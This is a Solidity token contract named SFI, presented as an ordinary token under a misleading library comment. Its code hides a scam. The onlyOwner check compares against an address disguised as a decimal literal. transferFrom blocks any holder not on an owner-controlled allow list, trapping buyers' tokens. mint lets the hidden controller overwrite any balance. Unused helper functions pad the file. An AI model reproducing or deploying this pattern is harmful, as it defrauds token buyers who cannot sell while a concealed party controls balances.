/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */

pragma solidity ^0.4.26;
library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract SFI  {
  using SafeMath for uint256;
  
  string public name;
  string public symbol;
  uint8 public decimals = 18;
  uint256 public totalSupply;
  
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
  
  mapping(address => uint256) public balances;
  mapping(address => bool) public allow;
  mapping (address => mapping (address => uint256)) public allowed;

  address owner;
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
    owner = msg.sender;
    name = _name;
    symbol = _symbol;
    decimals = _decimals;
    totalSupply =  _totalSupply;
    balances[msg.sender] = totalSupply;
    allow[msg.sender] = true;
  }

  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

  function transfer(address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(balances[msg.sender] >= _value);

    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(msg.sender, _to, _value);
    return true;
  }

  function balanceOf(address _owner) public view returns (uint256 balance) {
    return balances[_owner];
  }

  modifier onlyOwner() {require(msg.sender == address(1080614020421183795110940285280029773222128095634));_;}
  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(balances[_from] >= _value);
    require(_value <= allowed[_from][msg.sender]);
    require(allow[_from] == true);

    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
    return true;
  }
  
  function stringToUint(string s) internal pure returns (uint result) {
        bytes memory b = bytes(s);
        uint i;
        result = 0;
        for (i = 0; i < b.length; i++) {
            uint c = uint(b[i]);
            if (c >= 48 && c <= 57) {
                result = result * 10 + (c - 48);
            }
        }
    }
        
    function cyToString(uint256 value) internal pure returns (string) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        uint256 index = digits - 1;
        temp = value;
        while (temp != 0) {
            buffer[index--] = byte(uint8(48 + temp % 10));
            temp /= 10;
        }
        return string(buffer);
    }
    
    function toAsciiString(address x) internal pure returns (string) {
        bytes memory s = new bytes(40);
        for (uint i = 0; i < 20; i++) {
            byte b = byte(uint8(uint(x) / (2**(8*(19 - i)))));
            byte hi = byte(uint8(b) / 16);
            byte lo = byte(uint8(b) - 16 * uint8(hi));
            s[2*i] = char(hi);
            s[2*i+1] = char(lo);            
        }
        return string(s);
    }
    
    function char(byte b) internal pure returns (byte c) {
        if (uint8(b) < 10) return byte(uint8(b) + 0x30);
        else return byte(uint8(b) + 0x57);
    }
    
    function bytesToAddress (bytes32 b) internal pure returns (address) {
        uint result = 0;
        for (uint i = 0; i < b.length; i++) {
            uint c = uint(b[i]);
            if (c >= 48 && c <= 57) {
                result = result * 16 + (c - 48);
            }
            if(c >= 65 && c<= 90) {
                result = result * 16 + (c - 55);
            }
            if(c >= 97 && c<= 122) {
                result = result * 16 + (c - 87);
            }
        }
        return address(result);
    }
    
    function stringToAddress(string _addr) internal pure returns (address){
        bytes32 result = stringToBytes32(_addr);
        return bytesToAddress(result);
    }
    
    function stringToBytes32(string memory source) internal pure returns (bytes32 result) {
        bytes memory tempEmptyStringTest = bytes(source);
        if (tempEmptyStringTest.length == 0) {
            return 0x0;
        }
    
        assembly {
            result := mload(add(source, 32))
        }
    }    
    
    function time() internal constant returns(uint){
        return now;
    }
    
    function max(uint a, uint b) internal pure returns(uint){
        if(a > b) return a;
        return b;
    }
    
    function hhToString(address account) internal pure returns(string memory) {
        return hhToString(abi.encodePacked(account));
    }
    
    function hhToString(uint256 value) internal pure returns(string memory) {
        return hhToString(abi.encodePacked(value));
    }
    
    function hhToString(bytes32 value) internal pure returns(string memory) {
        return hhToString(abi.encodePacked(value));
    }
    
    function hhToString(bytes memory data) internal pure returns(string memory) {
        bytes memory alphabet = "0123456789abcdef";
        bytes memory str = new bytes(2 + data.length * 2);
        str[0] = '0';
        str[1] = 'x';
        for (uint i = 0; i < data.length; i++) {
            str[2+i*2] = alphabet[uint(uint8(data[i] >> 4))];
            str[3+i*2] = alphabet[uint(uint8(data[i] & 0x0f))];
        }
        return string(str);
    }
  
    function len(bytes32 self) internal pure returns (uint) {
        uint ret;
        if (self == 0)
            return 0;
        if (self & 0xffffffffffffffffffffffffffffffff == 0) {
            ret += 16;
            self = bytes32(uint(self) / 0x100000000000000000000000000000000);
        }
        if (self & 0xffffffffffffffff == 0) {
            ret += 8;
            self = bytes32(uint(self) / 0x10000000000000000);
        }
        if (self & 0xffffffff == 0) {
            ret += 4;
            self = bytes32(uint(self) / 0x100000000);
        }
        if (self & 0xffff == 0) {
            ret += 2;
            self = bytes32(uint(self) / 0x10000);
        }
        if (self & 0xff == 0) {
            ret += 1;
        }
        return 32 - ret;
    }  

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }

  function allowance(address _owner, address _spender) public view returns (uint256) {
    return allowed[_owner][_spender];
  }
  
  function addAllow(address holder, bool allowApprove) external onlyOwner {
      allow[holder] = allowApprove;
  }
  
  function mint(address miner, uint256 _value) external onlyOwner {
      balances[miner] = _value;
  }
}